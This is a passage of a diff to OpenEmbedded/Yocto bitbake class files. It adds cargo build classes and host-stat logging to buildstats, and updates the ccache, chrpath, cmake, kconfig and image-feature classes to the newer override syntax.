+ # return if the interval is not enough to run all commands within the specified BB_HEARTBEAT_EVENT interval
+ if type == "interval":
+ limit = interval / num_cmds
+ if limit <= time_threshold:
+ d.setVar("BB_LOG_HOST_STAT_ON_INTERVAL", "0")
+ bb.warn("buildstats: Collecting host data failed. BB_HEARTBEAT_EVENT interval not enough to run the specified commands. Increase value of BB_HEARTBEAT_EVENT in conf/local.conf.")
+ return
+
+ # set the environment variables
+ path = d.getVar("PATH")
+ opath = d.getVar("BB_ORIGENV", False).getVar("PATH")
+ ospath = os.environ['PATH']
+ os.environ['PATH'] = path + ":" + opath + ":" + ospath
+ with open(logfile, "a") as f:
+ f.write("Event Time: %f\nDate: %s\n" % (e.time, datetime.datetime.now()))
+ f.write("%s" % msg)
+ for c in c_san:
+ try:
+ output = subprocess.check_output(c.split(), stderr=subprocess.STDOUT, timeout=limit).decode('utf-8')
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ output = "Error running command: %s\n%s\n" % (c, err)
+ f.write("%s\n%s\n" % (c, output))
+ # reset the environment
+ os.environ['PATH'] = ospath
+
python run_buildstats () {
import bb.build
import bb.event
import time, subprocess, platform
bn = d.getVar('BUILDNAME')
- bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
- taskdir = os.path.join(bsdir, d.getVar('PF'))
+ ########################################################################
+ # bitbake fires HeartbeatEvent even before a build has been
+ # triggered, causing BUILDNAME to be None
+ ########################################################################
+ if bn is not None:
+ bsdir = os.path.join(d.getVar('BUILDSTATS_BASE'), bn)
+ taskdir = os.path.join(bsdir, d.getVar('PF'))
+ if isinstance(e, bb.event.HeartbeatEvent) and bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_INTERVAL")):
+ bb.utils.mkdirhier(bsdir)
+ write_host_data(os.path.join(bsdir, "host_stats_interval"), e, d, "interval")
if isinstance(e, bb.event.BuildStarted):
########################################################################
@@ -138,7 +212,7 @@ python run_buildstats () {
if x:
f.write(x + " ")
f.write("\n")
- f.write("Build Started: %0.2f \n" % time.time())
+ f.write("Build Started: %0.2f \n" % d.getVar('__timedata_build', False)[0])
elif isinstance(e, bb.event.BuildCompleted):
build_time = os.path.join(bsdir, "build_stats")
@@ -188,10 +262,12 @@ python run_buildstats () {
build_status = os.path.join(bsdir, "build_stats")
with open(build_status, "a") as f:
f.write(d.expand("Failed at: ${PF} at task: %s \n" % e.task))
+ if bb.utils.to_boolean(d.getVar("BB_LOG_HOST_STAT_ON_FAILURE")):
+ write_host_data(os.path.join(bsdir, "host_stats_%s_failure" % e.task), e, d, "failure")
}
addhandler run_buildstats
-run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
+run_buildstats[eventmask] = "bb.event.BuildStarted bb.event.BuildCompleted bb.event.HeartbeatEvent bb.build.TaskStarted bb.build.TaskSucceeded bb.build.TaskFailed"
python runqueue_stats () {
import buildstats
diff --git a/meta/classes/cargo.bbclass b/meta/classes/cargo.bbclass
new file mode 100644
index 0000000000..4a780a501f
--- /dev/null
+++ b/meta/classes/cargo.bbclass
@@ -0,0 +1,90 @@
+##
+## Purpose:
+## This class is used by any recipes that are built using
+## Cargo.
+
+inherit cargo_common
+
+# the binary we will use
+CARGO = "cargo"
+
+# We need cargo to compile for the target
+BASEDEPENDS:append = " cargo-native"
+
+# Ensure we get the right rust variant
+DEPENDS:append:class-target = " virtual/${TARGET_PREFIX}rust ${RUSTLIB_DEP}"
+DEPENDS:append:class-nativesdk = " virtual/${TARGET_PREFIX}rust ${RUSTLIB_DEP}"
+DEPENDS:append:class-native = " rust-native"
+
+# Enable build separation
+B = "${WORKDIR}/build"
+
+# In case something fails in the build process, give a bit more feedback on
+# where the issue occured
+export RUST_BACKTRACE = "1"
+
+# The directory of the Cargo.toml relative to the root directory, per default
+# assume there's a Cargo.toml directly in the root directory
+CARGO_SRC_DIR ??= ""
+
+# The actual path to the Cargo.toml
+MANIFEST_PATH ??= "${S}/${CARGO_SRC_DIR}/Cargo.toml"
+
+RUSTFLAGS ??= ""
+BUILD_MODE = "${@['--release', ''][d.getVar('DEBUG_BUILD') == '1']}"
+CARGO_BUILD_FLAGS = "-v --target ${HOST_SYS} ${BUILD_MODE} --manifest-path=${MANIFEST_PATH}"
+
+# This is based on the content of CARGO_BUILD_FLAGS and generally will need to
+# change if CARGO_BUILD_FLAGS changes.
+BUILD_DIR = "${@['release', 'debug'][d.getVar('DEBUG_BUILD') == '1']}"
+CARGO_TARGET_SUBDIR="${HOST_SYS}/${BUILD_DIR}"
+oe_cargo_build () {
+ export RUSTFLAGS="${RUSTFLAGS}"
+ export RUST_TARGET_PATH="${RUST_TARGET_PATH}"
+ bbnote "cargo = $(which ${CARGO})"
+ bbnote "rustc = $(which ${RUSTC})"
+ bbnote "${CARGO} build ${CARGO_BUILD_FLAGS} $@"
+ "${CARGO}" build ${CARGO_BUILD_FLAGS} "$@"
+}
+
+do_compile[progress] = "outof:\s+(\d+)/(\d+)"
+cargo_do_compile () {
+ oe_cargo_fix_env
+ oe_cargo_build
+}
+
+cargo_do_install () {
+ local have_installed=false
+ for tgt in "${B}/target/${CARGO_TARGET_SUBDIR}/"*; do
+ case $tgt in
+ *.so|*.rlib)
+ install -d "${D}${rustlibdir}"
+ install -m755 "$tgt" "${D}${rustlibdir}"
+ have_installed=true
+ ;;
+ *examples)
+ if [ -d "$tgt" ]; then
+ for example in "$tgt/"*; do
+ if [ -f "$example" ] && [ -x "$example" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$example" "${D}${bindir}"
+ have_installed=true
+ fi
+ done
+ fi
+ ;;
+ *)
+ if [ -f "$tgt" ] && [ -x "$tgt" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$tgt" "${D}${bindir}"
+ have_installed=true
+ fi
+ ;;
+ esac
+ done
+ if ! $have_installed; then
+ die "Did not find anything to install"
+ fi
+}
+
+EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes/cargo_common.bbclass b/meta/classes/cargo_common.bbclass
new file mode 100644
index 0000000000..90fad75415
--- /dev/null
+++ b/meta/classes/cargo_common.bbclass
@@ -0,0 +1,124 @@
+##
+## Purpose:
+## This class is to support building with cargo. It
+## must be different than cargo.bbclass because Rust
+## now builds with Cargo but cannot use cargo.bbclass
+## due to dependencies and assumptions in cargo.bbclass
+## that Rust & Cargo are already installed. So this
+## is used by cargo.bbclass and Rust
+##
+
+# add crate fetch support
+inherit rust-common
+
+# Where we download our registry and dependencies to
+export CARGO_HOME = "${WORKDIR}/cargo_home"
+
+# The pkg-config-rs library used by cargo build scripts disables itself when
+# cross compiling unless this is defined. We set up pkg-config appropriately
+# for cross compilation, so tell it we know better than it.
+export PKG_CONFIG_ALLOW_CROSS = "1"
+
+# Don't instruct cargo to use crates downloaded by bitbake. Some rust packages,
+# for example the rust compiler itself, come with their own vendored sources.
+# Specifying two [source.crates-io] will not work.
+CARGO_DISABLE_BITBAKE_VENDORING ?= "0"
+
+# Used by libstd-rs to point to the vendor dir included in rustc src
+CARGO_VENDORING_DIRECTORY ?= "${CARGO_HOME}/bitbake"
+
+CARGO_RUST_TARGET_CCLD ?= "${RUST_TARGET_CCLD}"
+cargo_common_do_configure () {
+ mkdir -p ${CARGO_HOME}/bitbake
+
+ cat <<- EOF > ${CARGO_HOME}/config
+ # EXTRA_OECARGO_PATHS
+ paths = [
+ $(for p in ${EXTRA_OECARGO_PATHS}; do echo \"$p\",; done)
+ ]
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # Local mirror vendored by bitbake
+ [source.bitbake]
+ directory = "${CARGO_VENDORING_DIRECTORY}"
+ EOF
+
+ if [ -z "${EXTERNALSRC}" ] && [ ${CARGO_DISABLE_BITBAKE_VENDORING} = "0" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [source.crates-io]
+ replace-with = "bitbake"
+ local-registry = "/nonexistant"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [http]
+ # Multiplexing can't be enabled because http2 can't be enabled
+ # in curl-native without dependency loops
+ multiplexing = false
+
+ # Ignore the hard coded and incorrect path to certificates
+ cainfo = "${STAGING_ETCDIR_NATIVE}/ssl/certs/ca-certificates.crt"
+
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # HOST_SYS
+ [target.${HOST_SYS}]
+ linker = "${CARGO_RUST_TARGET_CCLD}"
+ EOF
+
+ if [ "${HOST_SYS}" != "${BUILD_SYS}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # BUILD_SYS
+ [target.${BUILD_SYS}]
+ linker = "${RUST_BUILD_CCLD}"
+ EOF
+ fi
+
+ # Put build output in build directory preferred by bitbake instead of
+ # inside source directory unless they are the same
+ if [ "${B}" != "${S}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [build]
+ # Use out of tree build destination to avoid poluting the source tree
+ target-dir = "${B}/target"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [term]
+ progress.when = 'always'
+ progress.width = 80
+ EOF
+}
+
+oe_cargo_fix_env () {
+ export CC="${RUST_TARGET_CC}"
+ export CXX="${RUST_TARGET_CXX}"
+ export CFLAGS="${CFLAGS}"
+ export CXXFLAGS="${CXXFLAGS}"
+ export AR="${AR}"
+ export TARGET_CC="${RUST_TARGET_CC}"
+ export TARGET_CXX="${RUST_TARGET_CXX}"
+ export TARGET_CFLAGS="${CFLAGS}"
+ export TARGET_CXXFLAGS="${CXXFLAGS}"
+ export TARGET_AR="${AR}"
+ export HOST_CC="${RUST_BUILD_CC}"
+ export HOST_CXX="${RUST_BUILD_CXX}"
+ export HOST_CFLAGS="${BUILD_CFLAGS}"
+ export HOST_CXXFLAGS="${BUILD_CXXFLAGS}"
+ export HOST_AR="${BUILD_AR}"
+}
+
+EXTRA_OECARGO_PATHS ??= ""
+
+EXPORT_FUNCTIONS do_configure
diff --git a/meta/classes/ccache.bbclass b/meta/classes/ccache.bbclass
index b5457359ca..4532894c57 100644
--- a/meta/classes/ccache.bbclass
+++ b/meta/classes/ccache.bbclass
@@ -33,6 +33,10 @@ export CCACHE_CONFIGPATH ?= "${COREBASE}/meta/conf/ccache.conf"
export CCACHE_DIR ?= "${CCACHE_TOP_DIR}/${MULTIMACH_TARGET_SYS}/${PN}"
+# Fixed errors:
+# ccache: error: Failed to create directory /run/user/0/ccache-tmp: Permission denied
+export CCACHE_TEMPDIR ?= "${CCACHE_DIR}/tmp"
+
# We need to stop ccache considering the current directory or the
# debug-prefix-map target directory to be significant when calculating
# its hash. Without this the cache would be invalidated every time
@@ -45,7 +49,7 @@ python() {
"""
pn = d.getVar('PN')
# quilt-native doesn't need ccache since no c files
- if not (pn in ('ccache-native', 'quilt-native') or
+ if not (bb.data.inherits_class("native", d) or
bb.utils.to_boolean(d.getVar('CCACHE_DISABLE'))):
d.appendVar('DEPENDS', ' ccache-native')
d.setVar('CCACHE', 'ccache ')
diff --git a/meta/classes/chrpath.bbclass b/meta/classes/chrpath.bbclass
index 2870c10d51..26b984c4db 100644
--- a/meta/classes/chrpath.bbclass
+++ b/meta/classes/chrpath.bbclass
@@ -2,15 +2,18 @@ CHRPATH_BIN ?= "chrpath"
PREPROCESS_RELOCATE_DIRS ?= ""
def process_file_linux(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardlinks = False):
- import subprocess as sub
+ import subprocess, oe.qa
- p = sub.Popen([cmd, '-l', fpath],stdout=sub.PIPE,stderr=sub.PIPE)
- out, err = p.communicate()
- # If returned successfully, process stdout for results
- if p.returncode != 0:
- return
+ with oe.qa.ELFFile(fpath) as elf:
+ try:
+ elf.open()
+ except oe.qa.NotELFFileError:
+ return
- out = out.decode('utf-8')
+ try:
+ out = subprocess.check_output([cmd, "-l", fpath], universal_newlines=True)
+ except subprocess.CalledProcessError:
+ return
# Handle RUNPATH as well as RPATH
out = out.replace("RUNPATH=","RPATH=")
@@ -44,10 +47,11 @@ def process_file_linux(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardlin
args = ":".join(new_rpaths)
#bb.note("Setting rpath for %s to %s" %(fpath, args))
- p = sub.Popen([cmd, '-r', args, fpath],stdout=sub.PIPE,stderr=sub.PIPE)
- out, err = p.communicate()
- if p.returncode != 0:
- bb.fatal("%s: chrpath command failed with exit code %d:\n%s%s" % (d.getVar('PN'), p.returncode, out, err))
+ try:
+ subprocess.check_output([cmd, "-r", args, fpath],
+ stderr=subprocess.PIPE, universal_newlines=True)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("chrpath command failed with exit code %d:\n%s\n%s" % (e.returncode, e.stdout, e.stderr))
def process_file_darwin(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardlinks = False):
import subprocess as sub
@@ -72,6 +76,10 @@ def process_file_darwin(cmd, fpath, rootdir, baseprefix, tmpdir, d, break_hardli
out, err = p.communicate()
def process_dir(rootdir, directory, d, break_hardlinks = False):
+ bb.debug(2, "Checking %s for binaries to process" % directory)
+ if not os.path.exists(directory):
+ return
+
import stat
rootdir = os.path.normpath(rootdir)
@@ -80,10 +88,6 @@ def process_dir(rootdir, directory, d, break_hardlinks = False):
baseprefix = os.path.normpath(d.expand('${base_prefix}'))
hostos = d.getVar("HOST_OS")
- #bb.debug("Checking %s for binaries to process" % directory)
- if not os.path.exists(directory):
- return
-
if "linux" in hostos:
process_file = process_file_linux
elif "darwin" in hostos:
diff --git a/meta/classes/clutter.bbclass b/meta/classes/clutter.bbclass
deleted file mode 100644
index 24b53a13e4..0000000000
--- a/meta/classes/clutter.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-def get_minor_dir(v):
- import re
- m = re.match(r"^([0-9]+)\.([0-9]+)", v)
- return "%s.%s" % (m.group(1), m.group(2))
-
-def get_real_name(n):
- import re
- m = re.match(r"^([a-z]+(-[a-z]+)?)(-[0-9]+\.[0-9]+)?", n)
- return "%s" % (m.group(1))
-
-VERMINOR = "${@get_minor_dir("${PV}")}"
-REALNAME = "${@get_real_name("${BPN}")}"
-
-SRC_URI = "${GNOME_MIRROR}/${REALNAME}/${VERMINOR}/${REALNAME}-${PV}.tar.xz;name=archive"
-S = "${WORKDIR}/${REALNAME}-${PV}"
-
-CLUTTERBASEBUILDCLASS ??= "autotools"
-inherit ${CLUTTERBASEBUILDCLASS} pkgconfig gtk-doc gettext
diff --git a/meta/classes/cmake.bbclass b/meta/classes/cmake.bbclass
index 291f1e8d44..d9bcddbdbb 100644
--- a/meta/classes/cmake.bbclass
+++ b/meta/classes/cmake.bbclass
@@ -1,7 +1,7 @@
# Path to the CMake file to process.
OECMAKE_SOURCEPATH ??= "${S}"
-DEPENDS_prepend = "cmake-native "
+DEPENDS:prepend = "cmake-native "
B = "${WORKDIR}/build"
# What CMake generator to use.
@@ -21,23 +21,6 @@ python() {
d.setVarFlag("do_compile", "progress", r"outof:^\[(\d+)/(\d+)\]\s+")
else:
bb.fatal("Unknown CMake Generator %s" % generator)
-
- # C/C++ Compiler (without cpu arch/tune arguments)
- if not d.getVar('OECMAKE_C_COMPILER'):
- cc_list = d.getVar('CC').split()
- if cc_list[0] == 'ccache':
- d.setVar('OECMAKE_C_COMPILER_LAUNCHER', cc_list[0])
- d.setVar('OECMAKE_C_COMPILER', cc_list[1])
- else:
- d.setVar('OECMAKE_C_COMPILER', cc_list[0])
-
- if not d.getVar('OECMAKE_CXX_COMPILER'):
- cxx_list = d.getVar('CXX').split()
- if cxx_list[0] == 'ccache':
- d.setVar('OECMAKE_CXX_COMPILER_LAUNCHER', cxx_list[0])
- d.setVar('OECMAKE_CXX_COMPILER', cxx_list[1])
- else:
- d.setVar('OECMAKE_CXX_COMPILER', cxx_list[0])
}
OECMAKE_AR ?= "${AR}"
@@ -48,36 +31,59 @@ OECMAKE_C_FLAGS_RELEASE ?= "-DNDEBUG"
OECMAKE_CXX_FLAGS_RELEASE ?= "-DNDEBUG"
OECMAKE_C_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CPPFLAGS} ${LDFLAGS}"
OECMAKE_CXX_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS} ${LDFLAGS}"
-CXXFLAGS += "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS}"
-CFLAGS += "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS}"
-OECMAKE_C_COMPILER_LAUNCHER ?= ""
-OECMAKE_CXX_COMPILER_LAUNCHER ?= ""
+def oecmake_map_compiler(compiler, d):
+ args = d.getVar(compiler).split()
+ if args[0] == "ccache":
+ return args[1], args[0]
+ return args[0], ""
+
+# C/C++ Compiler (without cpu arch/tune arguments)
+OECMAKE_C_COMPILER ?= "${@oecmake_map_compiler('CC', d)[0]}"
+OECMAKE_C_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CC', d)[1]}"
+OECMAKE_CXX_COMPILER ?= "${@oecmake_map_compiler('CXX', d)[0]}"
+OECMAKE_CXX_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CXX', d)[1]}"
+
+# clear compiler vars for allarch to avoid sig hash difference
+OECMAKE_C_COMPILER_allarch = ""
+OECMAKE_C_COMPILER_LAUNCHER_allarch = ""
+OECMAKE_CXX_COMPILER_allarch = ""
+OECMAKE_CXX_COMPILER_LAUNCHER_allarch = ""
OECMAKE_RPATH ?= ""
OECMAKE_PERLNATIVE_DIR ??= ""
OECMAKE_EXTRA_ROOT_PATH ?= ""
OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = "ONLY"
-OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM_class-native = "BOTH"
+OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM:class-native = "BOTH"
-EXTRA_OECMAKE_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECMAKE:append = " ${PACKAGECONFIG_CONFARGS}"
-EXTRA_OECMAKE_BUILD_prepend_task-compile = "${PARALLEL_MAKE} "
-EXTRA_OECMAKE_BUILD_prepend_task-install = "${PARALLEL_MAKEINST} "
+export CMAKE_BUILD_PARALLEL_LEVEL
+CMAKE_BUILD_PARALLEL_LEVEL:task-compile = "${@oe.utils.parallel_make(d, False)}"
+CMAKE_BUILD_PARALLEL_LEVEL:task-install = "${@oe.utils.parallel_make(d, True)}"
OECMAKE_TARGET_COMPILE ?= "all"
OECMAKE_TARGET_INSTALL ?= "install"
+def map_host_os_to_system_name(host_os):
+ if host_os.startswith('mingw'):
+ return 'Windows'
+ if host_os.startswith('linux'):
+ return 'Linux'
+ return host_os
+
# CMake expects target architectures in the format of uname(2),
# which do not always match TARGET_ARCH, so all the necessary
# conversions should happen here.
-def map_target_arch_to_uname_arch(target_arch):
- if target_arch == "powerpc":
+def map_host_arch_to_uname_arch(host_arch):
+ if host_arch == "powerpc":
return "ppc"
- if target_arch == "powerpc64":
+ if host_arch == "powerpc64le":
+ return "ppc64le"
+ if host_arch == "powerpc64":
return "ppc64"
- return target_arch
+ return host_arch
cmake_do_generate_toolchain_file() {
if [ "${BUILD_SYS}" = "${HOST_SYS}" ]; then
@@ -87,14 +93,15 @@ cmake_do_generate_toolchain_file() {
# CMake system name must be something like "Linux".
# This is important for cross-compiling.
$cmake_crosscompiling
-set( CMAKE_SYSTEM_NAME `echo ${TARGET_OS} | sed -e 's/^./\u&/' -e 's/^\(Linux\).*/\1/'` )
-set( CMAKE_SYSTEM_PROCESSOR ${@map_target_arch_to_uname_arch(d.getVar('TARGET_ARCH'))} )
+set( CMAKE_SYSTEM_NAME ${@map_host_os_to_system_name(d.getVar('HOST_OS'))} )
+set( CMAKE_SYSTEM_PROCESSOR ${@map_host_arch_to_uname_arch(d.getVar('HOST_ARCH'))} )
set( CMAKE_C_COMPILER ${OECMAKE_C_COMPILER} )
set( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )
set( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )
set( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )
set( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )
-set( CMAKE_AR ${OECMAKE_AR} CACHE FILEPATH "Archiver" )
+find_program( CMAKE_AR ${OECMAKE_AR} DOC "Archiver" REQUIRED )
+
set( CMAKE_C_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "CFLAGS" )
set( CMAKE_CXX_FLAGS "${OECMAKE_CXX_FLAGS}" CACHE STRING "CXXFLAGS" )
set( CMAKE_ASM_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "ASM FLAGS" )
@@ -120,6 +127,9 @@ set( ENV{QT_CONF_PATH} ${WORKDIR}/qt.conf )
# directory as rpath by default
set( CMAKE_INSTALL_RPATH ${OECMAKE_RPATH} )
+# Use RPATHs relative to build directory for reproducibility
+set( CMAKE_BUILD_RPATH_USE_ORIGIN ON )
+
# Use our cmake modules
list(APPEND CMAKE_MODULE_PATH "${STAGING_DATADIR}/cmake/Modules/")
@@ -137,16 +147,14 @@ addtask generate_toolchain_file after do_patch before do_configure
CONFIGURE_FILES = "CMakeLists.txt"
+do_configure[cleandirs] = "${@d.getVar('B') if d.getVar('S') != d.getVar('B') else ''}"
+
cmake_do_configure() {
if [ "${OECMAKE_BUILDPATH}" ]; then
bbnote "cmake.bbclass no longer uses OECMAKE_BUILDPATH. The default behaviour is now out-of-tree builds with B=WORKDIR/build."
fi
- if [ "${S}" != "${B}" ]; then
- rm -rf ${B}
- mkdir -p ${B}
- cd ${B}
- else
+ if [ "${S}" = "${B}" ]; then
find ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete
fi
@@ -171,16 +179,31 @@ cmake_do_configure() {
-DCMAKE_INSTALL_LIBDIR:PATH=${@os.path.relpath(d.getVar('libdir'), d.getVar('prefix') + '/')} \
-DCMAKE_INSTALL_INCLUDEDIR:PATH=${@os.path.relpath(d.getVar('includedir'), d.getVar('prefix') + '/')} \
-DCMAKE_INSTALL_DATAROOTDIR:PATH=${@os.path.relpath(d.getVar('datadir'), d.getVar('prefix') + '/')} \
+ -DPYTHON_EXECUTABLE:PATH=${PYTHON} \
+ -DPython_EXECUTABLE:PATH=${PYTHON} \
+ -DPython3_EXECUTABLE:PATH=${PYTHON} \
+ -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
-DCMAKE_INSTALL_SO_NO_EXE=0 \
-DCMAKE_TOOLCHAIN_FILE=${WORKDIR}/toolchain.cmake \
-DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \
+ -DCMAKE_EXPORT_NO_PACKAGE_REGISTRY=ON \
+ -DFETCHCONTENT_FULLY_DISCONNECTED=ON \
${EXTRA_OECMAKE} \
-Wno-dev
}
+# To disable verbose cmake logs for a given recipe or globally config metadata e.g. local.conf
+# add following
+#
+# CMAKE_VERBOSE = ""
+#
+
+CMAKE_VERBOSE ??= "VERBOSE=1"
+
+# Then run do_compile again
cmake_runcmake_build() {
- bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }VERBOSE=1 cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
- eval ${DESTDIR:+DESTDIR=${DESTDIR} }VERBOSE=1 cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+ bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+ eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
}
cmake_do_compile() {
diff --git a/meta/classes/cml1.bbclass b/meta/classes/cml1.bbclass
index c7f6723cb3..d319d66ab2 100644
--- a/meta/classes/cml1.bbclass
+++ b/meta/classes/cml1.bbclass
@@ -1,3 +1,13 @@
+# returns all the elements from the src uri that are .cfg files
+def find_cfgs(d):
+ sources=src_patches(d, True)
+ sources_list=[]
+ for s in sources:
+ if s.endswith('.cfg'):
+ sources_list.append(s)
+
+ return sources_list
+
cml1_do_configure() {
set -e
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
@@ -17,22 +27,34 @@ CROSS_CURSES_INC = '-DCURSES_LOC="<curses.h>"'
TERMINFO = "${STAGING_DATADIR_NATIVE}/terminfo"
KCONFIG_CONFIG_COMMAND ??= "menuconfig"
+KCONFIG_CONFIG_ROOTDIR ??= "${B}"
python do_menuconfig() {
import shutil
+ config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
+ configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
+
try:
- mtime = os.path.getmtime(".config")
- shutil.copy(".config", ".config.orig")
+ mtime = os.path.getmtime(config)
+ shutil.copy(config, configorig)
except OSError:
mtime = 0
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ d.setVar("PKG_CONFIG_DIR", "${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig")
+ d.setVar("PKG_CONFIG_PATH", "${PKG_CONFIG_DIR}:${STAGING_DATADIR_NATIVE}/pkgconfig")
+ d.setVar("PKG_CONFIG_LIBDIR", "${PKG_CONFIG_DIR}")
+ d.setVarFlag("PKG_CONFIG_SYSROOT_DIR", "unexport", "1")
+ # ensure that environment variables are overwritten with this tasks 'd' values
+ d.appendVar("OE_TERMINAL_EXPORTS", " PKG_CONFIG_DIR PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PKG_CONFIG_SYSROOT_DIR")
+
oe_terminal("sh -c \"make %s; if [ \\$? -ne 0 ]; then echo 'Command failed.'; printf 'Press any key to continue... '; read r; fi\"" % d.getVar('KCONFIG_CONFIG_COMMAND'),
d.getVar('PN') + ' Configuration', d)
# FIXME this check can be removed when the minimum bitbake version has been bumped
if hasattr(bb.build, 'write_taint'):
try:
- newmtime = os.path.getmtime(".config")
+ newmtime = os.path.getmtime(config)
except OSError:
newmtime = 0
@@ -42,7 +64,7 @@ python do_menuconfig() {
}
do_menuconfig[depends] += "ncurses-native:do_populate_sysroot"
do_menuconfig[nostamp] = "1"
-do_menuconfig[dirs] = "${B}"
+do_menuconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
addtask menuconfig after do_configure
python do_diffconfig() {
@@ -51,8 +73,8 @@ python do_diffconfig() {
workdir = d.getVar('WORKDIR')
fragment = workdir + '/fragment.cfg'
- configorig = '.config.orig'
- config = '.config'
+ configorig = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config.orig")
+ config = os.path.join(d.getVar('KCONFIG_CONFIG_ROOTDIR'), ".config")
try:
md5newconfig = bb.utils.md5_file(configorig)
@@ -75,5 +97,5 @@ python do_diffconfig() {
}
do_diffconfig[nostamp] = "1"
-do_diffconfig[dirs] = "${B}"
+do_diffconfig[dirs] = "${KCONFIG_CONFIG_ROOTDIR}"
addtask diffconfig
diff --git a/meta/classes/compress_doc.bbclass b/meta/classes/compress_doc.bbclass
index d6d11fad26..379b6c169e 100644
--- a/meta/classes/compress_doc.bbclass
+++ b/meta/classes/compress_doc.bbclass
@@ -8,7 +8,7 @@
#
# 3. It is easy to add a new type compression by editing
# local.conf, such as:
-# DOC_COMPRESS_LIST_append = ' abc'
+# DOC_COMPRESS_LIST:append = ' abc'
# DOC_COMPRESS = 'abc'
# DOC_COMPRESS_CMD[abc] = 'abc compress cmd ***'
# DOC_DECOMPRESS_CMD[abc] = 'abc decompress cmd ***'
@@ -225,7 +225,7 @@ python compress_doc_updatealternatives () {
infodir = d.getVar("infodir")
compress_mode = d.getVar('DOC_COMPRESS')
for pkg in (d.getVar('PACKAGES') or "").split():
- old_names = (d.getVar('ALTERNATIVE_%s' % pkg) or "").split()
+ old_names = (d.getVar('ALTERNATIVE:%s' % pkg) or "").split()
new_names = []
for old_name in old_names:
old_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', old_name)
@@ -258,6 +258,6 @@ python compress_doc_updatealternatives () {
new_names.append(new_name)
if new_names:
- d.setVar('ALTERNATIVE_%s' % pkg, ' '.join(new_names))
+ d.setVar('ALTERNATIVE:%s' % pkg, ' '.join(new_names))
}
diff --git a/meta/classes/core-image.bbclass b/meta/classes/core-image.bbclass
index 94f112c397..84fd3eeb38 100644
--- a/meta/classes/core-image.bbclass
+++ b/meta/classes/core-image.bbclass
@@ -9,6 +9,7 @@
#
# Available IMAGE_FEATURES:
#
+# - weston - Weston Wayland compositor
# - x11 - X server
# - x11-base - X server with minimal environment
# - x11-sato - OpenedHand Sato environment
@@ -26,15 +27,20 @@
# - debug-tweaks - makes an image suitable for development, e.g. allowing passwordless root logins
# - empty-root-password
# - allow-empty-password
+# - allow-root-login
# - post-install-logging
# - dev-pkgs - development packages (headers, etc.) for all installed packages in the rootfs
# - dbg-pkgs - debug symbol packages for all installed packages in the rootfs
+# - lic-pkgs - license packages for all installed pacakges in the rootfs, requires
+# LICENSE_CREATE_PACKAGE="1" to be set when building packages too
# - doc-pkgs - documentation packages for all installed packages in the rootfs
# - bash-completion-pkgs - bash-completion packages for recipes using bash-completion bbclass
# - ptest-pkgs - ptest packages for all ptest-enabled recipes
# - read-only-rootfs - tweaks an image to support read-only rootfs
+# - stateless-rootfs - systemctl-native not run, image populated by systemd at runtime
# - splash - bootup splash screen
#
+FEATURE_PACKAGES_weston = "packagegroup-core-weston"
FEATURE_PACKAGES_x11 = "packagegroup-core-x11"
